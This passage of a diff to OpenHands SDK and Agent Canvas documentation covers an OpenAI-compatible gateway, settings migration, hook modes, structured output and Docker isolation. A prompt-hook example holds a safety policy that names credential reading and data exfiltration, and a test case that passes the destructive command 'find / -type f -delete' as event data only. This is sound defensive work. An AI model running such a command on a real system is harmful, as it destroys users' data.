conversation.conversation_stats.get_combined_metrics().accumulated_cost + print(f"Total cost: ${cost:.6f}") + print(f"EXAMPLE_COST: {cost}") +``` + + + +## Next Steps + +- **[LLM Profile Store](/sdk/guides/llm-profile-store)** - Create and manage + reusable LLM configurations +- **[LLM Metrics](/sdk/guides/metrics)** - Track usage and cost across the + primary and Oracle models +- **[Custom Tools](/sdk/guides/custom-tools)** - Build tools with custom + behavior + ### Browser Use Source: https://docs.openhands.dev/sdk/guides/agent-browser-use.md @@ -12628,10 +12807,24 @@ Source: https://docs.openhands.dev/sdk/guides/agent-server/openai-gateway.md import RunExampleCode from "/sdk/shared-snippets/how-to-run-example.mdx"; -The agent-server exposes an OpenAI-compatible `/v1/chat/completions` endpoint so clients that already speak the OpenAI protocol can call an OpenHands agent. +The agent-server exposes an OpenAI-compatible API surface under `/v1` with two endpoints: + +- `POST /v1/chat/completions` — the OpenAI Chat Completions protocol. +- `POST /v1/responses` — the OpenAI Responses protocol. Use this when you want an existing chat UI, IDE integration, evaluation harness, voice platform, or another agent to treat OpenHands as an OpenAI-style backend while still getting the full agent runtime behind the request. +## How It Works + +Both endpoints are protocol adapters over the **same full OpenHands agent**, not a thin wrapper around a raw LLM call. Each request: + +1. Loads the OpenHands agent configured by the named profile. +2. Starts (or, for Chat Completions, optionally reuses) an OpenHands conversation. +3. Runs the agent's complete internal tool loop to completion. +4. Returns only the final assistant text as an OpenAI-shaped response. + +The mental model is **"access an agent conversation as if it were a model"**: you send a prompt, the agent does its work (including executing tools in its workspace), and you receive one response when it finishes. Internal tool activity is not exposed as OpenAI tool calls. + ## What to Configure Most OpenAI-compatible clients ask for the same three fields: @@ -12644,11 +12837,13 @@ Most OpenAI-compatible clients ask for the same three fields: For example, a saved LLM profile named `gateway_demo` appears as the OpenAI model `openhands_gateway_demo`. -The gateway accepts the same session key in either OpenHands or OpenAI-compatible form: +Authentication maps OpenAI-style bearer tokens onto the agent-server's existing session key mechanism. The gateway accepts the same session key in either form: - `X-Session-API-Key: ` - `Authorization: Bearer ` +Both are validated against the configured session API keys — there is no second credential system. When the server is configured without session keys, it remains unauthenticated just like the native agent-server API. + ## Prepare a Profile OpenAI-compatible traffic is backed by an agent-server LLM profile. Create one with the native profile API first: @@ -12678,7 +12873,19 @@ curl "$AGENT_SERVER_URL/v1/models" \ -H "Authorization: Bearer $SESSION_API_KEY" ``` -## Client Recipes +## Chat Completions (`POST /v1/chat/completions`) + +Each request runs a full OpenHands agent to completion and returns the final assistant text in a standard Chat Completions shape. + +Supported request fields: + +- `model` — required; must be an `openhands_` exposed via `GET /v1/models`. +- `messages` — a standard list. The last `user` message becomes the agent's task; `system` and `developer` messages are folded into the agent's system context. +- `stream` — `true` returns a server-sent events stream; `false` (default) returns a single response. + +The response includes a `X-OpenHands-ServerConversation-ID` header. Send that header on a follow-up request to continue the same server-side OpenHands conversation instead of starting a new one. + +### Client Recipes @@ -12780,7 +12987,6 @@ For Open WebUI, LibreChat, Chatbot UI, and similar OpenAI-compatible frontends, - **Base URL**: `https://YOUR_AGENT_SERVER/v1` - **API key**: your agent-server session API key - **Model**: `openhands_` -- **Streaming**: disabled for now If the UI can store a response header and send a custom request header, persist `X-OpenHands-ServerConversation-ID` per chat thread and send it on follow-up turns. If it cannot, each request starts a new OpenHands conversation and works best for one-shot tasks. @@ -12817,9 +13023,9 @@ Return `reply_text` to the voice or webhook platform. Keep the mapping for as lo -## Conversation State +### Conversation State -The OpenAI Chat Completions protocol usually sends full message history on every request. The OpenHands gateway does not reconstruct agent history from prior assistant messages. Instead: +The Chat Completions protocol usually sends full message history on every request, but the gateway does **not** reconstruct agent history from prior assistant messages. Instead: - Omit `X-OpenHands-ServerConversation-ID` to start a new OpenHands conversation. - Read `X-OpenHands-ServerConversation-ID` from the response. @@ -12827,11 +13033,128 @@ The OpenAI Chat Completions protocol usually sends full message history on every When reusing a conversation, send the newest user turn in `messages`. The server-side OpenHands conversation owns the previous agent state, tool activity, and workspace context. -## Current Limitations +## Responses (`POST /v1/responses`) + +The Responses endpoint targets the OpenAI Responses API — a better fit for agent-shaped traffic, with typed input/output items. It is **stateless-first** by design. + +### Mental Model + +Every request starts a **fresh** OpenHands conversation and runs the full agent to completion. There is no server-side continuation handle: to carry context forward, clients replay prior input and output items into the next request's `input`. + +```bash +curl "$AGENT_SERVER_URL/v1/responses" \ + -H "Authorization: Bearer $SESSION_API_KEY" \ + -H "Content-Type: application/json" \ + -d "{ + \"model\": \"$OPENHANDS_MODEL\", + \"instructions\": \"Answer briefly.\", + \"input\": \"Summarize this repository in one sentence.\", + \"store\": false + }" +``` + +Response: + +```json +{ + "id": "resp_…", + "object": "response", + "created_at": 1726000000.0, + "completed_at": 1726000120.0, + "model": "openhands_gateway_demo", + "instructions": "Answer briefly.", + "output": [ + { + "id": "msg_…", + "type": "message", + "role": "assistant", + "status": "completed", + "content": [ + { "type": "output_text", "text": "This repository is …", "annotations": [] } + ] + } + ], + "parallel_tool_calls": false, + "previous_response_id": null, + "status": "completed", + "tool_choice": "none", + "tools": [], + "usage": { + "input_tokens": 123, + "input_tokens_details": { "cached_tokens": 0 }, + "output_tokens": 45, + "output_tokens_details": { "reasoning_tokens": 0 }, + "total_tokens": 168 + } +} +``` + +The response also carries the `X-OpenHands-ServerConversation-ID` header, but unlike Chat Completions you **cannot** pass it back to continue that conversation — the Responses surface ignores it. Use the header only to correlate the response with the underlying OpenHands conversation through the native agent-server API. + +### Replaying Context + +To maintain context across Responses calls, replay the previous assistant output items (and any system/developer context) into the next request's `input`: -- Only non-streaming Chat Completions requests are supported. Requests with `stream: true` return `400` until streaming support is added. -- The response contains the final assistant text only. Internal OpenHands tool activity is not exposed as OpenAI tool calls. -- OpenAI request fields that are not needed by the gateway are ignored or rejected intentionally by the server implementation. +```python +import os +from typing import cast + +from openai import OpenAI +from openai.types.responses import ResponseInputItemParam + +client = OpenAI( + api_key=os.environ["SESSION_API_KEY"], + base_url=f"{os.environ['AGENT_SERVER_URL']}/v1", +) + +first = client.responses.create( + model=os.environ["OPENHANDS_MODEL"], + instructions="You are reviewing this repository.", + input="Summarize the project structure.", + store=False, +) + +second = client.responses.create( + model=os.environ["OPENHANDS_MODEL"], + input=[ + {"role": "developer", "content": "You are reviewing this repository."}, + {"role": "user", "content": "Summarize the project structure."}, + *[ + item.model_dump(mode="json", exclude_none=True) + for item in cast(list[ResponseInputItemParam], first.output) + ], + {"role": "user", "content": "Now list the main packages."}, + ], + store=False, +) +``` + +### How Input Is Interpreted + +- Top-level `instructions` and any `system`/`developer` input items become the agent's **system context**. +- The remaining input items become the agent's user prompt. A single `user` item is sent as-is; multiple non-system items are wrapped in `` tags so their roles are preserved. +- `model` must be an `openhands_` exposed via `GET /v1/models`. + +### Not Supported Yet + +The following OpenAI Responses features are intentionally rejected or ignored. Status codes and wording are exact. + +| Feature | Behavior | +| --- | --- | +| `previous_response_id` | Rejected with `400` — `"previous_response_id is not supported; replay input items instead"`. | +| `store: true` | Rejected with `400` — `"Persistent response storage (store=True) is not supported yet"`. There is no retrievable Responses object and no `GET /v1/responses/{id}`. | +| `stream: true` | Rejected with `400` — `"Streaming responses are not supported yet"`. | +| `tools`, `tool_choice`, `parallel_tool_calls` | Accepted but **ignored** — the caller's declared tools do not replace OpenHands' internal tool loop. | +| `temperature` and other generation-tuning fields | Accepted but **ignored**. | + + +Setting `store: false` (the default) is **not** a data-retention control. It only signals that no Responses object is retained. The backing OpenHands conversation still follows the agent-server's normal persistence policy. + + +## Current Limitations (Both Endpoints) + +- The response contains the final assistant text only. Internal OpenHands tool activity is not exposed as OpenAI tool calls or Responses output items. +- OpenAI request fields the gateway does not need are either ignored or rejected intentionally by the server implementation. Declared tools and generation-tuning fields do not change agent behavior. ## Ready-to-run example @@ -13031,7 +13354,7 @@ A Remote Agent Server is an HTTP/WebSocket server that: - **Manages workspaces** (Docker containers or remote sandboxes) - **Streams events** to clients via WebSocket - **Handles command and file operations** (execute command, upload, download), check [base class](https://github.com/OpenHands/software-agent-sdk/blob/main/openhands-sdk/openhands/sdk/workspace/base.py) for more details -- **Accepts OpenAI-compatible Chat Completions requests** through the [OpenAI-compatible endpoint](/sdk/guides/agent-server/openai-gateway) +- **Accepts OpenAI-compatible Chat Completions and Responses requests** through the [OpenAI-compatible endpoint](/sdk/guides/agent-server/openai-gateway) - **Provides isolation** between different agent executions Think of it as the "backend" for your agent, while your Python code acts as the "frontend" client. @@ -13210,6 +13533,39 @@ This is useful when: - Letting users edit agent configuration in a form-based UI - Rehydrating the same agent setup in another process +## Load Persisted Settings + +`model_validate` only accepts payloads that already match the current schema. Use `from_persisted` for data written by an older SDK version: it applies the registered schema migrations first, then validates the migrated payload against the class you call it on. + +```python icon="python" focus={1} +restored = OpenHandsAgentSettings.from_persisted(payload) +``` + +`from_persisted` is defined on `AgentSettingsBase`, so it is a concrete-variant loader: `OpenHandsAgentSettings.from_persisted()` returns an `OpenHandsAgentSettings` and `ACPAgentSettings.from_persisted()` returns an `ACPAgentSettings`. When you do not know which variant a payload holds, use `validate_agent_settings` (also in `openhands.sdk.settings`) instead — it dispatches across the settings union. + +Passing an already-validated instance of that variant returns it unchanged, so its secrets are preserved without a lossy serialization round trip. + + +The deprecated `agent_kind="llm"` discriminator is only rewritten while migrating between schema versions. A payload that is already at the current schema version but still carries `agent_kind="llm"` is therefore rejected by `OpenHandsAgentSettings.from_persisted`. Load those payloads with `validate_agent_settings`, which canonicalizes the discriminator unconditionally. + + +### Encrypted Payloads + +Secret-bearing fields only decrypt when you pass the same validation context that was used to write them. + +```python icon="python" focus={2} +persisted = settings.model_dump(mode="json", context={"cipher": cipher}) +restored = OpenHandsAgentSettings.from_persisted(persisted, context={"cipher": cipher}) +``` + +### Errors + +| Exception | Raised when | +|-----------|-------------| +| `TypeError` | The payload is not a mapping or `BaseModel`, or its `schema_version` is not an integer. | +| `ValueError` | `schema_version` is negative, newer than the supported version, or has no registered migration. | +| `pydantic.ValidationError` | The migrated payload is invalid for the class you called `from_persisted` on. | + ## Create an Agent from Settings Once validated, create a working agent directly from the settings object. @@ -18191,9 +18547,9 @@ Hooks let you observe and customize key lifecycle moments in the SDK without for ## Exit Codes -Command hooks (shell scripts) signal their result through their exit code — -[agent-based hooks](#agent-based-hooks) return a JSON decision instead. The SDK -matches the +Command hooks (shell scripts) signal their result through their exit code. +[Prompt-based hooks](#prompt-based-hooks) and +[agent-based hooks](#agent-based-hooks) return a JSON decision instead. The SDK matches the [Claude Code hook contract](https://docs.claude.com/en/docs/claude-code/hooks): - **`0` — success.** The operation proceeds. `stdout` is parsed as JSON for @@ -18218,6 +18574,20 @@ policy must exit with `2`. - Isolation: hooks run outside the agent loop logic, avoiding core modifications - Composition: enable or disable hooks per environment (local vs. prod) +## Execution Modes + +Hook definitions support three execution modes: + +| `type` | Evaluator | Tool access | Best for | +|--------|-----------|-------------|----------| +| `command` (default) | Shell command | Through the script | Deterministic checks and integrations | +| `prompt` | One LLM completion | No | Semantic decisions based only on the hook event | +| `agent` | Short-lived sub-agent | Optional allowlist | Decisions that require workspace investigation | + +Use the least powerful mode that can make the decision. Command hooks are the +most deterministic. Prompt hooks add model judgment with one completion. Agent +hooks add an agent loop and tools when the event payload is not enough. + ## Ready-to-run Example @@ -18458,6 +18828,149 @@ exit 0 +## Prompt-based Hooks + +Set `type="prompt"` to evaluate a hook event with one LLM completion. Prompt +hooks are useful when a decision needs semantic judgment but all required +context is already present in the `HookEvent` payload. For example, a +`PreToolUse` policy can evaluate the intent of a terminal command without +starting a tool-using sub-agent. + +```python +HookDefinition( + type=HookType.PROMPT, + name="terminal-safety", + prompt="Deny terminal commands that recursively delete files ...", + timeout=30, +) +``` + +Key fields on a prompt `HookDefinition`: + +- `name` — identifies the hook in logs, events, and its stable + `prompt-hook:` metrics bucket. +- `prompt` — the trusted policy used to evaluate each matching event. +- `timeout` — the timeout applied to the copied hook LLM. + +The hook uses the conversation's current LLM, including changes made through +model or profile switching. The executor copies that LLM so the hook has an +isolated timeout, usage ID, and metrics. Hook spend is merged back into the +parent conversation's metrics. The SDK selects Chat Completions or the Responses +API from the model's capabilities. Prompt hooks are single-shot and non-streaming, +regardless of the parent LLM's streaming setting. + +The policy is placed in system context. The serialized event is sent in a +separate user message and marked as untrusted data, so instructions embedded in +tool input or output are not treated as hook policy. The model is asked to +return the shared hook result contract: + +```json +{"decision": "allow" | "deny", "reason": ""} +``` + +If the conversation has no LLM, the provider call fails, or the response does +not contain a valid decision, the hook falls open with `decision="allow"` and +`success=False`. This lets consumers distinguish an execution failure from a +deliberate allow verdict. + + +Prompt hooks cannot inspect files, run commands, or access conversation history +beyond data included in the hook event. Use an [agent-based hook](#agent-based-hooks) +when the evaluator must gather more context before deciding. + + + +This example is available on GitHub: [examples/01_standalone_sdk/57_prompt_hooks](https://github.com/OpenHands/software-agent-sdk/blob/main/examples/01_standalone_sdk/57_prompt_hooks/) + + +```python icon="python" expandable examples/01_standalone_sdk/57_prompt_hooks/main.py +"""OpenHands Agent SDK - prompt-based hooks example. + +Evaluates two synthetic PreToolUse events with one LLM completion each. The +commands are only event data: this example never executes them. +""" + +import os +import tempfile +from pathlib import Path + +from pydantic import SecretStr + +from openhands.sdk import LLM +from openhands.sdk.conversation.conversation_stats import ConversationStats +from openhands.sdk.hooks import ( + HookConfig, + HookDefinition, + HookManager, + HookMatcher, + HookType, +) + + +api_key = os.getenv("LLM_API_KEY") +assert api_key is not None, "LLM_API_KEY environment variable is not set." + +llm = LLM( + usage_id="agent", + model=os.getenv("LLM_MODEL", "anthropic/claude-sonnet-4-5-20250929"), + base_url=os.getenv("LLM_BASE_URL"), + api_key=SecretStr(api_key), +) + +TERMINAL_POLICY = """Evaluate the semantic intent of a terminal command. +Deny commands that recursively delete files, read credentials or sensitive +system files, modify the host system, or exfiltrate data. Allow read-only +workspace inspection, builds, and test commands. When uncertain, deny and give +a concise reason.""" + +hook_config = HookConfig( + pre_tool_use=[ + HookMatcher( + matcher="terminal", + hooks=[ + HookDefinition( + type=HookType.PROMPT, + name="terminal-safety", + prompt=TERMINAL_POLICY, + timeout=30, + ) + ], + ) + ] +) + +cases = [ + ("python -m pytest -q", True), + ("find / -type f -delete", False), +] + +with tempfile.TemporaryDirectory() as tmpdir: + stats = ConversationStats() + manager = HookManager( + config=hook_config, + working_dir=str(Path(tmpdir)), + session_id="prompt-hook-example", + llm=llm, + conversation_stats=stats, + ) + + for command, expected_to_continue in cases: + should_continue, results = manager.run_pre_tool_use( + tool_name="terminal", + tool_input={"command": command}, + ) + result = results[0] + verdict = "ALLOW" if should_continue else "DENY" + print(f"{verdict:5} {command}") + print(f" {result.reason}") + assert should_continue is expected_to_continue + + cost = stats.get_combined_metrics().accumulated_cost + print(f"\nEXAMPLE_COST: {cost}") +``` + + + ## Agent-based Hooks Besides shell scripts, a hook can delegate its decision to an LLM-driven @@ -25801,6 +26314,56 @@ agent_context = AgentContext(skills=list(skills.values())) - **[MCP Integration](/sdk/guides/mcp)** - Connect external tool servers - **[Confirmation Mode](/sdk/guides/security)** - Add execution approval +### Structured Output +Source: https://docs.openhands.dev/sdk/guides/structured-output.md + +import RunExampleCode from "/sdk/shared-snippets/how-to-run-example.mdx"; + +Pass a Pydantic model (or a JSON Schema dict) as a tool's `response_schema`. Its fields are merged into the schema the LLM sees, so the model must populate them when it calls that tool, and the reply is validated on receipt — no prompting for a format, no output parsing. + +```python +class ProjectFacts(BaseModel): + description: str = Field(description="One-paragraph description of the project.") + facts: list[str] = Field(description="Three concise, distinct facts.") + + +agent = Agent( + llm=llm, + tools=[Tool(name="FinishTool", params={"response_schema": ProjectFacts})], +) +``` + +The tool keeps its own arguments — `FinishTool` still takes `message`, now alongside `description` and `facts`. This works on any tool, including [custom](/sdk/guides/custom-tools) and [MCP](/sdk/guides/mcp) tools. + +## Reading results + +Resolved tools live on `agent.tools_map`. Use `parse_last_response()` for the most recent call, or `parse_response(action)` for a specific one: + +```python +finish_tool = agent.tools_map["finish"] +facts = cast(ProjectFacts | None, finish_tool.parse_last_response(conversation.state.events)) +``` + +`parse_last_response()` returns `None` if the tool has not been called. With a JSON Schema dict instead of a model, both methods return a validated `dict`. + + +`parse_last_response()` re-reads the tool call, so it works after a conversation is persisted and reloaded. `action.structured_output` is in-memory only — it is not serialized with the event and comes back `None` after a round-trip, so prefer the parse methods. + + +## Constraints + +- **Reserved names.** A schema may not declare `kind`, `security_risk`, `structured_output`, or `summary`, nor reuse one of the tool's own field names (e.g. `message` on `FinishTool`). Both raise a `ValueError` when the tool is resolved. +- **One tool per spec.** A spec that resolves to a tool set is rejected; attach the schema to the individual tool instead. +- **Scoped to its tool.** A model may try to send the schema fields when calling *other* tools; those calls are rejected as unexpected arguments and the agent retries. + +## Ready-to-run Example + +```python icon="python" expandable examples/01_standalone_sdk/56_structured_output.py +# content is auto-synced +``` + + + ### Task Tool Set Source: https://docs.openhands.dev/sdk/guides/task-tool-set.md @@ -28996,12 +29559,48 @@ Before starting a conversation, you can open the `+` tools menu in the chat laun The LLM Model selector always remains visible in the chat launcher and allows you to select from any available LLM that the current Agent Profile supports. Once a conversation is started with an Agent Profile you are unable to switch to a different Agent Profile during the conversation. +## Scope an Agent Profile's Secrets + +When the connected Agent Server advertises the `profile_secret_scope_v1` capability, the profile editor in `Settings > Agent` includes a **secret scope** picker for OpenHands and ACP profiles. Use it to control which saved secrets a profile can access: + +- **All** — the profile can access every saved secret (default for existing profiles). +- **None** — the profile cannot access any saved secrets. +- **Selected** — choose specific secret names from the list of saved secrets. + +Secret references that no longer exist (for example, a secret that was deleted after being selected) are preserved in the profile rather than silently removed. This prevents an unrelated edit from widening or narrowing the profile's secret access. + +Agent Server is the sole enforcement point for secret scoping. Canvas only stores the profile's secret scope selection; it does not perform client-side secret filtering. + +On Agent Servers that do not advertise `profile_secret_scope_v1`, the picker is hidden and profiles remain unrestricted. + ## OpenHands Profiles Use an OpenHands profile when you want Agent Canvas to run the built-in OpenHands agent. An OpenHands profile references an LLM profile, so model and credential changes are managed in `Settings > LLM`. Use this when you want Agent Canvas to own both the agent behavior and the model configuration. +### Let the Agent Switch LLM Profiles + +The OpenHands profile editor includes a **"Let the agent switch LLM profiles"** toggle. When enabled, the agent is given the `SwitchLLMTool`, which lets it switch between available LLM profiles during a conversation. When disabled, the tool is removed from the agent's toolset. + +This toggle is version-gated: it appears only when the connected backend reports agent-server `1.31.0` or later. On older backends (for example, agent-server `1.29.0`–`1.30.x`) the toggle is hidden. + +### Scope a Profile to Specific MCP Servers + +An agent profile can be scoped to a subset of configured MCP servers using **MCP server references** (`mcp_server_refs`). When a profile includes MCP server references, only the tools from the referenced MCP servers are available to the agent in conversations that use that profile. + +This is useful when you have multiple MCP servers configured but want a particular profile to access only a subset — for example, restricting a profile to a documentation search server while excluding servers with broader tool access. + +To scope a profile: + +1. Open `Settings > Agent` and edit the agent profile. +2. In the MCP server scoping section, select the MCP servers this profile should access. +3. Save the profile. + +When no MCP server references are set, the profile has access to all configured MCP servers. When references are set, only the selected servers' tools are registered with the agent. + +See also [Model Context Protocol](/overview/model-context-protocol) for an overview of MCP support across OpenHands platforms. + ## ACP Profiles Use an ACP profile when you want Agent Canvas to drive an external coding agent through the Agent Client Protocol. @@ -29030,7 +29629,7 @@ If you choose OpenHands, the setup flow also configures the LLM profile that the ### Agent Canvas Architecture Source: https://docs.openhands.dev/openhands/usage/agent-canvas/architecture.md -Agent Canvas is the open-source browser client and control center for OpenHands conversations and automations. It presents backend state and sends requests to backend services; it is not an agent runtime or sandbox. Agent Server or an ACP agent process executes tools, and the selected workspace or sandbox provides the execution boundary. +Agent Canvas is the open-source browser client and control center for OpenHands conversations and automations. It presents backend state and sends requests to backend services; it is not an agent runtime or sandbox. Agent Server or an ACP agent CLI executes tools, and the selected workspace or sandbox provides the execution boundary. ## Core Components @@ -29041,39 +29640,10 @@ Agent Canvas is the open-source browser client and control center for OpenHands | **Automation Server** | Stores schedules and event triggers, tracks runs, and dispatches conversations | [`OpenHands/automation`](https://github.com/OpenHands/automation) | | **Workspace or sandbox** | Defines which files, processes, credentials, and networks an agent can access | Deployment-specific | -Sandbox Server is a community-driven standalone API and sandbox control plane. It is not a core Agent Canvas backend or a supported deployment option. [Learn more about Sandbox Server](https://github.com/OpenHands/sandbox-server). +Sandbox Server is a community-driven standalone API and sandbox control plane. [Learn more about Sandbox Server](https://github.com/OpenHands/sandbox-server). ## Service Relationships -```mermaid -%%{init: {"theme": "default", "flowchart": {"nodeSpacing": 30, "rankSpacing": 45}} }%% -flowchart TB - Browser["Browser"] --> Canvas["Agent Canvas
browser client"] - - subgraph Backend["Selected backend"] - AgentServer["Agent Server"] -->|execute agent and tools| Workspace["Workspace or sandbox"] - Automation["Automation Server"] -->|dispatch conversation| AgentServer - end - - Canvas -->|conversations and settings| AgentServer - Canvas -->|schedules, events, and runs| Automation - - subgraph Platform["OpenHands Cloud or Enterprise"] - ControlPlane["Platform control plane"] -->|create and manage| Sandbox["Conversation sandbox"] - Sandbox -->|hosts| PlatformAgentServer["Agent Server"] - end - - Canvas -.->|managed backend| PlatformAgentServer - - classDef primary fill:#f3e8ff,stroke:#7c3aed,stroke-width:2px - classDef secondary fill:#e8f3ff,stroke:#2b6cb0,stroke-width:2px - classDef tertiary fill:#fff4df,stroke:#b7791f,stroke-width:2px - classDef service fill:#e9f9ef,stroke:#2f855a,stroke-width:2px - class Canvas primary - class AgentServer,Automation,PlatformAgentServer secondary - class Workspace,Sandbox tertiary - class ControlPlane service -``` The normal browser path is **Browser → Agent Canvas → selected backend**. Agent Server owns conversation execution. Automation Server owns scheduled and event-driven run lifecycle. A backend distribution can expose both services behind one URL, but they remain separate responsibilities. @@ -29096,17 +29666,16 @@ The launcher supports split modes: Docker and Helm packages can also bundle the client and backend services. A bundled deployment changes how services are installed, not which component owns execution or isolation. -## Execution And Isolation +## Execution and Isolation When you send a message, Agent Canvas sends it to the selected backend. Agent Server starts or resumes the conversation, runs the selected agent, invokes tools, updates backend state, and streams events to Canvas. The workspace determines the execution boundary: -| Workspace type | Execution and isolation boundary | -|----------------|----------------------------------| -| **Local process** | Agent Server and tools run directly on the backend host without container isolation. | +| Execution environment | Execution and isolation boundary | +|-----------------------|----------------------------------| +| **Host process** | Agent Server and tools run directly on the backend host without container isolation. If the backend is remote, that host—not the browser's machine—is the execution boundary. | | **Docker or Kubernetes** | Agent Server and tools run inside the configured container or pod with its mounts and network policy. | -| **Remote Agent Server** | Agent Server runs on another machine or in a separate container, with the workspace boundary configured there. | | **OpenHands Cloud or Enterprise** | The managed platform creates and operates the conversation sandbox that hosts Agent Server. | Connecting Canvas to a remote backend does not grant the browser direct access to that backend's filesystem. Canvas displays files and terminal output returned by Agent Server. @@ -29127,14 +29696,14 @@ Switching backends changes which backend-managed conversations, settings, automa | Pattern | Relationship | |---------|--------------| | **Local all-in-one** | The launcher starts Canvas and local backend services on one machine. | -| **Remote Agent Server** | Canvas connects to an Agent Server running on another machine or in a separate container on the same machine. | -| **Self-hosted backend services** | You deploy Agent Server, and optionally Automation Server, on a VM, Docker host, Kubernetes cluster, or Modal. | +| **Self-hosted backend services** | You deploy Agent Server, and optionally Automation Server, in another process, on a VM, in Docker or Kubernetes, or on Modal. Canvas connects to the deployment as a remote backend. | | **Managed platform** | Canvas connects to OpenHands Cloud or OpenHands Enterprise, which operate their backend and sandbox infrastructure. | ## Next Steps - [Install Agent Canvas](/openhands/usage/agent-canvas/setup) - [Connect And Manage Backends](/openhands/usage/agent-canvas/backends) +- [Connect To A Remote Backend](/openhands/usage/agent-canvas/backend-setup/remote) - [Self-Host On A VM](/openhands/usage/agent-canvas/backend-setup/vm) - [Use Docker](/openhands/usage/agent-canvas/backend-setup/docker) - [Agent Server Overview](/sdk/guides/agent-server/overview) @@ -29151,6 +29720,7 @@ A Cloud backend is a good fit when you want to: - Run agents without tying up local resources - Use OpenHands Cloud's managed sandboxes and integrations - Keep your local machine for development while offloading agent work +- Easy Phone & Tablet Access so you can code on the go ## Prerequisites @@ -29237,11 +29807,60 @@ Configuration is passed via `-e` flags on `docker run`: | `PORT` | Ingress port inside the container (default `8000`). Map it with `-p :`. | | `LOCAL_BACKEND_API_KEY` | API key for the server. Auto-generated and persisted if not set. | | `OH_SECRET_KEY` | Secret used to protect stored settings and secrets. | +| `AGENT_CANVAS_DISABLE_TELEMETRY` | Set to `1` or `true` to disable Agent Canvas product telemetry. | + +You can also pass `--disable-telemetry` to the Agent Canvas runtime. Use the environment variable for deployment configuration because older images ignore an unknown environment variable but reject an unknown runtime flag. The agent server can execute arbitrary shell commands inside the container. If exposing it beyond localhost, set `LOCAL_BACKEND_API_KEY` to a strong secret. +## Let the Agent Use Docker + +By default the agent cannot run containers: `docker` is installed in the image, but the +daemon cannot start inside an unprivileged container. If the agent tries, it fails with +`error creating default "bridge" network: operation not permitted`. + +That matters for tasks where a container is part of the workflow — building a `Dockerfile` +and running it to confirm the change works, bringing up a `docker compose` stack to +reproduce a bug, or using a toolchain that is only published as an image. Without a +daemon the agent can edit those files but cannot verify them. + +To enable it, start the container with `--privileged`: + +```bash +docker run -it --rm \ + --privileged \ + -p 8000:8000 \ + -v ~/.openhands:/home/openhands/.openhands \ + -v ~/projects:/projects \ + ghcr.io/openhands/agent-canvas:latest +``` + + + `--privileged` gives the container broad access to the host kernel, which substantially + weakens the isolation between the agent and your machine. The agent can execute + arbitrary shell commands, so grant this only on a host you are willing to expose and + only when the agent genuinely needs to run containers. + + +Verify from inside the container: + +```bash +docker exec -it docker info +``` + + + There is no safer middle ground. The Docker daemon needs kernel capabilities that are + granted by the host when the container starts, so they cannot be acquired later — and + rootless Docker does not avoid this: the daemon starts, but containers it creates fail + to launch (`error mounting "proc" to rootfs: operation not permitted`). + + OpenHands Enterprise solves this differently, running each sandbox under a hardened + runtime that provides kernel-level isolation so nested containers run unprivileged. See + [Running Docker in the Agent Sandbox](/enterprise/docker-in-sandbox). + + ## Connect from the Frontend Start the frontend separately and point it at the container: @@ -29265,6 +29884,120 @@ Then add the Docker backend: - [Local Backend](/openhands/usage/agent-canvas/backend-setup/local) - [VM / Self-Hosted Installation](/openhands/usage/agent-canvas/backend-setup/vm) - [Kubernetes (Helm)](/openhands/usage/agent-canvas/backend-setup/kubernetes) +- [Running Docker in the Agent Sandbox](/enterprise/docker-in-sandbox) — how Enterprise does this without `--privileged` + +### Isolate Tool Execution with Docker +Source: https://docs.openhands.dev/openhands/usage/agent-canvas/backend-setup/docker-execution.md + +Use Docker execution mode when you want Agent Canvas and Agent Server to remain trusted host processes while isolating filesystem and process tools in a separate container for each conversation. + +This mode differs from [running the entire Agent Canvas distribution in Docker](/openhands/usage/agent-canvas/backend-setup/docker). The outer Agent Server retains conversation state, LLM calls, credentials, policy, persistence, and orchestration. Supported tool actions run inside an ephemeral execution container. + +## Prerequisites + +- Docker installed and running on the Agent Server host +- Permission for the user running `agent-canvas` to invoke Docker +- An Agent Server image compatible with the installed Agent Server version + +## Start Agent Canvas + +Set the execution runtime and image before starting Agent Canvas: + +```bash +export OH_EXECUTION_RUNTIME=docker +export OH_EXECUTION_IMAGE=ghcr.io/openhands/agent-server:latest-python +export OH_EXECUTION_PLATFORM=linux/amd64 +agent-canvas +``` + +Use `linux/arm64` for an ARM host such as Apple Silicon. + +You can combine these variables with other launcher options. For example, to use another port: + +```bash +OH_EXECUTION_RUNTIME=docker \ +OH_EXECUTION_IMAGE=ghcr.io/openhands/agent-server:latest-python \ +OH_EXECUTION_PLATFORM=linux/amd64 \ +agent-canvas --port 9000 +``` + +The launcher forwards the variables to the local Agent Server. No separate frontend configuration is required. + +## How Isolation Works + +For each local conversation, Agent Server creates a `DockerExecutionWorkspace` with `/workspace` as its working directory. The container starts lazily when the conversation first invokes a supported tool. + +The following built-in tools execute in the container: + +- `terminal` +- `file_editor` +- `grep` +- `glob` +- `apply_patch` + +The outer Agent Server continues to run the agent loop and all LLM requests. It sends supported tool actions to an authenticated execution-only endpoint in the container. The inner server does not expose conversation, profile, settings, LLM, persistence, or WebSocket APIs. + + + Tools without a Docker execution adapter continue to run in the outer Agent Server process. Review custom and additional tools before treating the container as their security boundary. + + +## Keep the Sandbox Ephemeral + +By default, the execution container has no host filesystem mounts. Leave `OH_EXECUTION_VOLUMES` unset to keep the workspace ephemeral and prevent host files from appearing under `/workspace`. + +To mount data deliberately, provide a JSON array of Docker volume specifications: + +```bash +export OH_EXECUTION_VOLUMES='["/path/on/host:/workspace/project"]' +``` + + + A volume gives tools in the container access to the mounted host path. Do not configure volumes when you require a disposable sandbox with no host filesystem access. + + +The execution container: + +- Publishes its API only on host loopback. +- Receives a generated per-workspace capability instead of the outer server's credentials. +- Is removed when its workspace closes. +- Does not store the outer conversation state or LLM configuration. + +Conversation history persists in the outer Agent Server according to its normal persistence configuration. Files created only inside an unmounted execution container do not persist after that container is removed. + +## Verify Isolation + +Create a new conversation and ask the agent to run: + +```bash +printf 'PWD=%s\nHOME=%s\n' "$PWD" "$HOME" +find "$HOME" -mindepth 1 -maxdepth 1 -printf '%f\n' | sort +``` + +A default execution image should report `/workspace` as `PWD` and a container-local home directory such as `/home/openhands`. It must not display the Agent Server host's home-directory contents. + +On the host, inspect the active execution container: + +```bash +docker ps --filter name=openhands-execution- +docker inspect --format '{{json .Mounts}}' +``` + +For an ephemeral configuration, the mounts output should be `[]`. + +## Configuration Reference + +| Variable | Default | Purpose | +|----------|---------|---------| +| `OH_EXECUTION_RUNTIME` | `local` | Set to `docker` to enable one execution container per local conversation. | +| `OH_EXECUTION_IMAGE` | `ghcr.io/openhands/agent-server:latest-python` | Agent Server image used for execution containers. | +| `OH_EXECUTION_PLATFORM` | 